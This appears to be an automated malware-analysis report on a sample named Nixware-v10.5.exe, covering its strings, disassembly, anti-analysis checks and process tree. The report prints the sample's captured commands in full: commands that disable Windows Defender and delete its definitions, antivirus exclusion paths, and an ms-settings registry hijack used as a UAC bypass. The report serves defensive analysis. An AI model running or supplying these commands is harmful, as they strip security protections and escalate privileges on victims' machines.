- Module object for %s is NULL!
- _pyinstaller_pyz
- PYZ archive entry not found in the TOC!
- %U?%llu
- Failed to format PYZ archive path and offset
- Failed to store path to PYZ archive into sys.%s!
- SPLASH: length of Tcl shared library path exceeds maximum path length!
- SPLASH: length of Tk shared library path exceeds maximum path length!
- Could not allocate memory for splash screen resources.
- SPLASH: Tcl is not threaded. Only threaded Tcl is supported.
- SPLASH: could not find requirement %s in archive.
- SPLASH: extraction path length exceeds maximum path length!
- SPLASH: file already exists but should not: %s
- SPLASH: failed to create parent directory structure.
- SPLASH: could not extract requirement %s.
- SPLASH: failed to load Tcl/Tk shared libraries!
- Could not allocate memory for SPLASH_CONTEXT.
- status_text
- tk.tcl
- tk_library
- _source
- tclInit
- tcl_findLibrary
No strings match this filter.
Stack and decoded strings were not recovered: this file format is not eligible for string emulation. Only literal strings present in the file are listed above.
Disassembly
entry point · x64 · 60 insns (listing capped)AddressBytesMnemonicOperands
0x14000ce204883ec28subrsp, 0x28
0x14000ce24e857020000call0x14000d080
0x14000ce294883c428addrsp, 0x28
0x14000ce2de97afeffffjmp0x14000ccac
0x14000ce32ccint3
0x14000ce33ccint3
0x14000ce34ccint3
0x14000ce35ccint3
0x14000ce36ccint3
0x14000ce37ccint3
0x14000ce38ccint3
0x14000ce39ccint3
0x14000ce3accint3
0x14000ce3bccint3
0x14000ce3cccint3
0x14000ce3dccint3
0x14000ce3eccint3
0x14000ce3fccint3
0x14000ce404883ec28subrsp, 0x28
0x14000ce44e823060000call0x14000d46c
0x14000ce4985c0testeax, eax
0x14000ce4b7421je0x14000ce6e
0x14000ce4d65488b042530000000movrax, qword ptr gs:[0x30]
0x14000ce56488b4808movrcx, qword ptr [rax + 8]
0x14000ce5aeb05jmp0x14000ce61
0x14000ce5c483bc8cmprcx, rax
0x14000ce5f7414je0x14000ce75
0x14000ce6133c0xoreax, eax
0x14000ce63f0480fb10d0c570300lock cmpxchgqword ptr [rip + 0x3570c], rcx
0x14000ce6c75eejne0x14000ce5c
0x14000ce6e32c0xoral, al
0x14000ce704883c428addrsp, 0x28
0x14000ce74c3ret
0x14000ce75b001moval, 1
0x14000ce77ebf7jmp0x14000ce70
0x14000ce79ccint3
0x14000ce7accint3
0x14000ce7bccint3
0x14000ce7c4883ec28subrsp, 0x28
0x14000ce8085c9testecx, ecx
0x14000ce827507jne0x14000ce8b
0x14000ce84c605f556030001movbyte ptr [rip + 0x356f5], 1
0x14000ce8be850f7ffffcall0x14000c5e0
0x14000ce90e83b0a0000call0x14000d8d0
0x14000ce9584c0testal, al
0x14000ce977504jne0x14000ce9d
0x14000ce9932c0xoral, al
0x14000ce9beb14jmp0x14000ceb1
0x14000ce9de85ad50000call0x14001a3fc
0x14000cea284c0testal, al
0x14000cea47509jne0x14000ceaf
0x14000cea633c9xorecx, ecx
0x14000cea8e84b0a0000call0x14000d8f8
0x14000ceadebeajmp0x14000ce99
0x14000ceafb001moval, 1
0x14000ceb14883c428addrsp, 0x28
0x14000ceb5c3ret
0x14000ceb6ccint3
0x14000ceb7ccint3
0x14000ceb84053pushrbx
callbranchretstackarithregisterimmediatememory
Nothing in this view
This sample produced no results for this part of the static analysis.
Screen recording
38 frames · screen recording · 166s1 / 38
Download this recording
Download video (.mp4)
Download GIF (.gif)
Building the file runs an encode on this platform, so it is kept to signed-in accounts. Signing in brings you back to this report.
Behavior summary
ran 166s37 process(es) observed; malicious behavior: dropped_executable; 94 dropped executable(s)
LaunchedC:\Users\user\Desktop\Nixware-v10.5.exe
Privilegestandard
Tamper Windows Defender - ScriptBlockLogging [T1685]Powershell Defender Disable Scan Feature [T1685]Execution::Windows Defender Exclusions Added - PowerShell [T1685]Execution::Windows Defender Exclusions Added - PowerShell [T1059]Powershell Defender Exclusion [T1685]Execution::Potentially Suspicious Powershell Script Execution From Temp Folder [T1059.001]Credential Access::Potentially Suspicious EventLog Recon Activity Using Log Query Utilities [T1552]Credential Access::Potentially Suspicious EventLog Recon Activity Using Log Query Utilities [T1087]Privilege Escalation::Registry Modification of MS-settings Protocol Handler [T1548.002]Privilege Escalation::Registry Modification of MS-settings Protocol Handler [T1546.001]Privilege Escalation::Registry Modification of MS-settings Protocol Handler [T1112]
dropped_executable
Telemetry sources:
Kernel ETW (0 events)
agent poll: 200Process audit: 38In-process monitor: 35Autostart diff: 1
Evasion / anti-analysis checks
11 checks
MED
Anti-debug API imports static-api
MITRE T1622 · isdebuggerpresent
MED
System Checks Capability analysis
MITRE T1497
MED
Check for time delay via QueryPerformanceCounter Capability rule
MITRE T1622 · Debugger detection
MED
Reference anti-VM strings targeting Qemu Capability rule
MITRE T1497.001 · Virtual-machine detection
MED
Reference anti-VM strings targeting Xen Capability rule
MITRE T1497.001 · Virtual-machine detection
MED
Reference analysis tools strings Capability rule
MITRE T1497 · Anti-analysis
MED
Debugger Detection::Process Environment Block Capability taxonomy
MITRE T1497 · Anti-Behavioral Analysis
MED
Debugger Detection::Timing/Delay Check QueryPerformanceCounter Capability taxonomy
MITRE T1497 · Anti-Behavioral Analysis
MED
Dynamic Analysis Evasion::Delayed Execution Capability taxonomy
MITRE T1497 · Anti-Behavioral Analysis
MED
Virtual Machine Detection Capability taxonomy
MITRE T1497 · Anti-Behavioral Analysis
MED
Anti-analysis strings (VM/debugger/tool names) strings
MITRE T1497 · isdebuggerpresent
Statically visible checks (RDTSC/CPUID/red-pill instructions, anti-debug APIs) plus runtime evasion signals. Instruction-level interception at runtime requires hypervisor introspection (VMI).
WMI activity
1 classWMI classes the sample queried, captured from the WMI-Activity trace and attributed to the sample process tree. Hardware/identity classes also surface as VM-detection checks above.
MSFT_MpPreference
WMI method invocations
3 callsMethods the sample invoked through WMI, with their arguments. A process created this way is spawned by the WMI provider host, so the operating system records no parent link back to the sample - the caller is named by the WMI-Activity trace and the argument is captured in the calling process itself.
Connect pid 1860
MSFT_MpPreference::Add pid 1860
MSFT_MpPreference::Set pid 4580
Living-off-the-land binaries
2 LOLBin abuses
MED
cmd chained command execution MITRE T1059.003
C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Nixware-v10.5.exe'"
MED
cmd chained command execution MITRE T1059.003
C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -Sub
Deobfuscated scripts
8 blocksPowerShell script blocks the sample executed, as PowerShell itself logged them (event 4104) - so an encoded or Invoke-Expression-decoded payload is captured in its final, deobfuscated form, the way it actually ran.
$global:?
{ Set-StrictMode -Version 1; $_.OriginInfo }{ Set-StrictMode -Version 1; $_.ErrorCategory_Message }{ Set-StrictMode -Version 1; $this.Exception.InnerException.PSMessageDetails }{ Set-StrictMode -Version 1; $_.PSMessageDetails }Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Nixware-v10.5.exe'
Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\bound.exe'
Command lines, unwrapped
29 read · 3 with something in29 captured texts were unwrapped locally; 3 yielded something. An address below is text found in a command line: recovering one is not evidence that the sample reached it, and a well-formed hostname here may be a file path or a type name.
| Came from | Hidden | Looks like an address |
|---|---|---|
| pid 4848 | no | none
defender_tamper |
As captured
C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Nixware-v10.5.exe'" |
||
| pid 4856 | no | none
defender_tamper |
As captured
C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All" |
||
| pid 3652 | no | none
defender_tamper |
As captured
C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\bound.exe'" |
||
Network activity
The network section is a paid-plan layer: the DNS the sample resolved, the connections it opened, the TLS it negotiated, and the rule engine's reading of the capture.
This run was captured, and what it captured is on a paid plan rather than absent. An internet-connected detonation is the same plan, so a paid run also shows what the sample reached rather than only what it tried.
Process tree
What ran during the detonation, and what each process did. Select a node to see the activity attributed to it.
37processes
196file operations
2registry operations
94dropped files
Nixware-v10.5.exe
37 processes
37 processes
Attributed activity
Nixware-v10.5.exe
PID 572
Image
C:\Users\user\Desktop\Nixware-v10.5.exe
Command
C:\Users\user\Desktop\Nixware-v10.5.exe
Parent
not captured - its parent is outside the sample's tree
Children
1
File operations131
createC:\Users\user\AppData\Local\Temp\_MEI5722
createC:\Users\user\AppData\Local\Temp\_MEI5722\VCRUNTIME140.dll
createC:\Users\user\AppData\Local\Temp\_MEI5722\_bz2.pyd
deleteC:\Users\user\AppData\Local\Temp\_MEI5722
deleteC:\Users\user\AppData\Local\Temp\_MEI5722\_ssl.pyd
deleteC:\Users\user\AppData\Local\Temp\_MEI5722\_sqlite3.pyd
deleteC:\Users\user\AppData\Local\Temp\_MEI5722\_socket.pyd
deleteC:\Users\user\AppData\Local\Temp\_MEI5722\_queue.pyd
deleteC:\Users\user\AppData\Local\Temp\_MEI5722\_lzma.pyd
deleteC:\Users\user\AppData\Local\Temp\_MEI5722\_hashlib.pyd
deleteC:\Users\user\AppData\Local\Temp\_MEI5722\_decimal.pyd
deleteC:\Users\user\AppData\Local\Temp\_MEI5722\_ctypes.pyd
deleteC:\Users\user\AppData\Local\Temp\_MEI5722\_ctypes.pyd
deleteC:\Users\user\AppData\Local\Temp\_MEI5722\_bz2.pyd
deleteC:\Users\user\AppData\Local\Temp\_MEI5722\VCRUNTIME140.dll
deleteC:\Users\user\AppData\Local\Temp\_MEI5722\VCRUNTIME140.dll
deleteC:\Users\user\AppData\Local\Temp\_MEI5722\libffi-8.dll
deleteC:\Users\user\AppData\Local\Temp\_MEI5722\libffi-8.dll
deleteC:\Users\user\AppData\Local\Temp\_MEI5722\unicodedata.pyd
deleteC:\Users\user\AppData\Local\Temp\_MEI5722\python313.dll
deleteC:\Users\user\AppData\Local\Temp\_MEI5722\python313.dll
deleteC:\Users\user\AppData\Local\Temp\_MEI5722\ucrtbase.dll
deleteC:\Users\user\AppData\Local\Temp\_MEI5722\ucrtbase.dll
deleteC:\Users\user\AppData\Local\Temp\_MEI5722\sqlite3.dll
deleteC:\Users\user\AppData\Local\Temp\_MEI5722\select.pyd
deleteC:\Users\user\AppData\Local\Temp\_MEI5722\rarreg.key
deleteC:\Users\user\AppData\Local\Temp\_MEI5722\rar.exe
deleteC:\Users\user\AppData\Local\Temp\_MEI5722\libssl-3.dll
deleteC:\Users\user\AppData\Local\Temp\_MEI5722\libcrypto-3.dll
deleteC:\Users\user\AppData\Local\Temp\_MEI5722\bound.blank
deleteC:\Users\user\AppData\Local\Temp\_MEI5722\blank.aes
deleteC:\Users\user\AppData\Local\Temp\_MEI5722\base_library.zip
deleteC:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-utility-l1-1-0.dll
deleteC:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-time-l1-1-0.dll
deleteC:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-string-l1-1-0.dll
deleteC:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-stdio-l1-1-0.dll
deleteC:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-runtime-l1-1-0.dll
deleteC:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-process-l1-1-0.dll
deleteC:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-math-l1-1-0.dll
deleteC:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-locale-l1-1-0.dll
Showing the first 40 of 131. The full list is on the File & registry section.
Registry operations2
createSoftware\Microsoft\WBEM\CIMOM
createSoftware\Microsoft\RFC1156Agent\CurrentVersion\Parameters
Dropped files47
dropC:\Users\user\AppData\Local\Temp\_MEI5722\VCRUNTIME140.dll36585912e5eaf83b
dropC:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-console-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-datetime-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-debug-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-errorhandling-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-fibers-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-file-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-file-l1-2-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-file-l2-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-handle-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-heap-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-interlocked-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-libraryloader-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-localization-l1-2-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-memory-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-namedpipe-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-processenvironment-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-processthreads-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-processthreads-l1-1-1.dll
dropC:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-profile-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-rtlsupport-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-string-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-synch-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-synch-l1-2-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI5722\ucrtbase.dll048d4c5a51e45777
dropC:\Users\user\AppData\Local\Temp\_MEI5722\sqlite3.dll
dropC:\Users\user\AppData\Local\Temp\_MEI5722\rar.exe
dropC:\Users\user\AppData\Local\Temp\_MEI5722\python313.dll09693bab682495b0
dropC:\Users\user\AppData\Local\Temp\_MEI5722\libssl-3.dll
dropC:\Users\user\AppData\Local\Temp\_MEI5722\libffi-8.dll135c772b42ba6353
dropC:\Users\user\AppData\Local\Temp\_MEI5722\libcrypto-3.dll
dropC:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-utility-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-time-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-string-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-stdio-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-runtime-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-process-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-math-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-locale-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-heap-l1-1-0.dll
Showing the first 40 of 47. The full list is on the Behavior section.
Nixware-v10.5.exe
PID 2904
Image
C:\Users\user\Desktop\Nixware-v10.5.exe
Command
C:\Users\user\Desktop\Nixware-v10.5.exe
Parent
PID 572 · Nixware-v10.5.exe
Children
6
File operations1
createC:\Users\user\AppData\Local\Temp\_MEI5722\blank.aes
cmd.exe
PID 3684
Image
C:\Windows\System32\cmd.exe
Command
C:\Windows\system32\cmd.exe /c "reg add hkcu\Software\Classes\ms-settings\shell\open\command /d "C:\Users\user\Desktop\Nixware-v10.5.exe" /f"
Parent
PID 2904 · Nixware-v10.5.exe
Chain
nixware-v10.5.exe -> cmd.exe
Children
2
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
conhost.exe
PID 5176
Image
C:\Windows\System32\conhost.exe
Command
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Parent
PID 3684 · cmd.exe
Chain
nixware-v10.5.exe -> cmd.exe
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
reg.exe
PID 2872
Image
C:\Windows\System32\reg.exe
Command
reg add hkcu\Software\Classes\ms-settings\shell\open\command /d "C:\Users\user\Desktop\Nixware-v10.5.exe" /f
Parent
PID 3684 · cmd.exe
Chain
nixware-v10.5.exe -> cmd.exe -> reg.exe
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
cmd.exe
PID 1192
Image
C:\Windows\System32\cmd.exe
Command
C:\Windows\system32\cmd.exe /c "reg add hkcu\Software\Classes\ms-settings\shell\open\command /v "DelegateExecute" /f"
Parent
PID 2904 · Nixware-v10.5.exe
Chain
nixware-v10.5.exe -> cmd.exe
Children
2
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
conhost.exe
PID 5944
Image
C:\Windows\System32\conhost.exe
Command
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Parent
PID 1192 · cmd.exe
Chain
nixware-v10.5.exe -> cmd.exe
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
reg.exe
PID 2092
Image
C:\Windows\System32\reg.exe
Command
reg add hkcu\Software\Classes\ms-settings\shell\open\command /v "DelegateExecute" /f
Parent
PID 1192 · cmd.exe
Chain
nixware-v10.5.exe -> cmd.exe -> reg.exe
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
cmd.exe
PID 184
Image
C:\Windows\System32\cmd.exe
Command
C:\Windows\system32\cmd.exe /c "wevtutil qe "Microsoft-Windows-Windows Defender/Operational" /f:text"
Parent
PID 2904 · Nixware-v10.5.exe
Chain
nixware-v10.5.exe -> cmd.exe
Children
2
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
conhost.exe
PID 3188
Image
C:\Windows\System32\conhost.exe
Command
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Parent
PID 184 · cmd.exe
Chain
nixware-v10.5.exe -> cmd.exe
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
wevtutil.exe
PID 3200
Image
C:\Windows\System32\wevtutil.exe
Command
wevtutil qe "Microsoft-Windows-Windows Defender/Operational" /f:text
Parent
PID 184 · cmd.exe
Chain
nixware-v10.5.exe -> cmd.exe -> wevtutil.exe
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
cmd.exe
PID 4364
Image
C:\Windows\System32\cmd.exe
Command
C:\Windows\system32\cmd.exe /c "computerdefaults --nouacbypass"
Parent
PID 2904 · Nixware-v10.5.exe
Chain
nixware-v10.5.exe -> cmd.exe
Children
2
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
conhost.exe
PID 4184
Image
C:\Windows\System32\conhost.exe
Command
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Parent
PID 4364 · cmd.exe
Chain
nixware-v10.5.exe -> cmd.exe
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
ComputerDefaults.exe
PID 4416
Image
C:\Windows\System32\ComputerDefaults.exe
Command
computerdefaults --nouacbypass
Parent
PID 4364 · cmd.exe
Chain
nixware-v10.5.exe -> cmd.exe -> computerdefaults.exe
Children
1
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
Nixware-v10.5.exe
PID 5992
Image
C:\Users\user\Desktop\Nixware-v10.5.exe
Command
"C:\Users\user\Desktop\Nixware-v10.5.exe"
Parent
PID 4416 · ComputerDefaults.exe
Chain
nixware-v10.5.exe -> cmd.exe -> computerdefaults.exe -> nixware-v10.5.exe
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
cmd.exe
PID 2408
Image
C:\Windows\System32\cmd.exe
Command
C:\Windows\system32\cmd.exe /c "wevtutil qe "Microsoft-Windows-Windows Defender/Operational" /f:text"
Parent
PID 2904 · Nixware-v10.5.exe
Chain
nixware-v10.5.exe -> cmd.exe
Children
2
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
conhost.exe
PID 408
Image
C:\Windows\System32\conhost.exe
Command
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Parent
PID 2408 · cmd.exe
Chain
nixware-v10.5.exe -> cmd.exe
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
wevtutil.exe
PID 5540
Image
C:\Windows\System32\wevtutil.exe
Command
wevtutil qe "Microsoft-Windows-Windows Defender/Operational" /f:text
Parent
PID 2408 · cmd.exe
Chain
nixware-v10.5.exe -> cmd.exe -> wevtutil.exe
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
cmd.exe
PID 32
Image
C:\Windows\System32\cmd.exe
Command
C:\Windows\system32\cmd.exe /c "reg delete hkcu\Software\Classes\ms-settings /f"
Parent
PID 2904 · Nixware-v10.5.exe
Chain
nixware-v10.5.exe -> cmd.exe
Children
2
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
conhost.exe
PID 1824
Image
C:\Windows\System32\conhost.exe
Command
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Parent
PID 32 · cmd.exe
Chain
nixware-v10.5.exe -> cmd.exe
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
reg.exe
PID 5628
Image
C:\Windows\System32\reg.exe
Command
reg delete hkcu\Software\Classes\ms-settings /f
Parent
PID 32 · cmd.exe
Chain
nixware-v10.5.exe -> cmd.exe -> reg.exe
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
Nixware-v10.5.exe
PID 340
Image
C:\Users\user\Desktop\Nixware-v10.5.exe
Command
"C:\Users\user\Desktop\Nixware-v10.5.exe"
Parent
not captured - its parent is outside the sample's tree
Children
1
File operations63
createC:\Users\user\AppData\Local\Temp\_MEI3402
createC:\Users\user\AppData\Local\Temp\_MEI3402\unicodedata.pyd
createC:\Users\user\AppData\Local\Temp\_MEI3402\ucrtbase.dll
createC:\Users\user\AppData\Local\Temp\_MEI3402\sqlite3.dll
createC:\Users\user\AppData\Local\Temp\_MEI3402\select.pyd
createC:\Users\user\AppData\Local\Temp\_MEI3402\rarreg.key
createC:\Users\user\AppData\Local\Temp\_MEI3402\rar.exe
createC:\Users\user\AppData\Local\Temp\_MEI3402\python313.dll
createC:\Users\user\AppData\Local\Temp\_MEI3402\libssl-3.dll
createC:\Users\user\AppData\Local\Temp\_MEI3402\libffi-8.dll
createC:\Users\user\AppData\Local\Temp\_MEI3402\libcrypto-3.dll
createC:\Users\user\AppData\Local\Temp\_MEI3402\bound.blank
createC:\Users\user\AppData\Local\Temp\_MEI3402\blank.aes
createC:\Users\user\AppData\Local\Temp\_MEI3402\base_library.zip
createC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-utility-l1-1-0.dll
createC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-time-l1-1-0.dll
createC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-string-l1-1-0.dll
createC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-stdio-l1-1-0.dll
createC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-runtime-l1-1-0.dll
createC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-process-l1-1-0.dll
createC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-math-l1-1-0.dll
createC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-locale-l1-1-0.dll
createC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-heap-l1-1-0.dll
createC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-filesystem-l1-1-0.dll
createC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-environment-l1-1-0.dll
createC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-convert-l1-1-0.dll
createC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-conio-l1-1-0.dll
createC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-util-l1-1-0.dll
createC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-timezone-l1-1-0.dll
createC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-sysinfo-l1-1-0.dll
createC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-synch-l1-2-0.dll
createC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-synch-l1-1-0.dll
createC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-string-l1-1-0.dll
createC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-rtlsupport-l1-1-0.dll
createC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-profile-l1-1-0.dll
createC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-processthreads-l1-1-1.dll
createC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-processthreads-l1-1-0.dll
createC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-processenvironment-l1-1-0.dll
createC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-namedpipe-l1-1-0.dll
createC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-memory-l1-1-0.dll
Showing the first 40 of 63. The full list is on the File & registry section.
Dropped files47
dropC:\Users\user\AppData\Local\Temp\_MEI3402\ucrtbase.dll
dropC:\Users\user\AppData\Local\Temp\_MEI3402\sqlite3.dll
dropC:\Users\user\AppData\Local\Temp\_MEI3402\rar.exe
dropC:\Users\user\AppData\Local\Temp\_MEI3402\python313.dll
dropC:\Users\user\AppData\Local\Temp\_MEI3402\libssl-3.dll
dropC:\Users\user\AppData\Local\Temp\_MEI3402\libffi-8.dll
dropC:\Users\user\AppData\Local\Temp\_MEI3402\libcrypto-3.dll
dropC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-utility-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-time-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-string-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-stdio-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-runtime-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-process-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-math-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-locale-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-heap-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-filesystem-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-environment-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-convert-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-conio-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-util-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-timezone-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-sysinfo-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-synch-l1-2-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-synch-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-string-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-rtlsupport-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-profile-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-processthreads-l1-1-1.dll
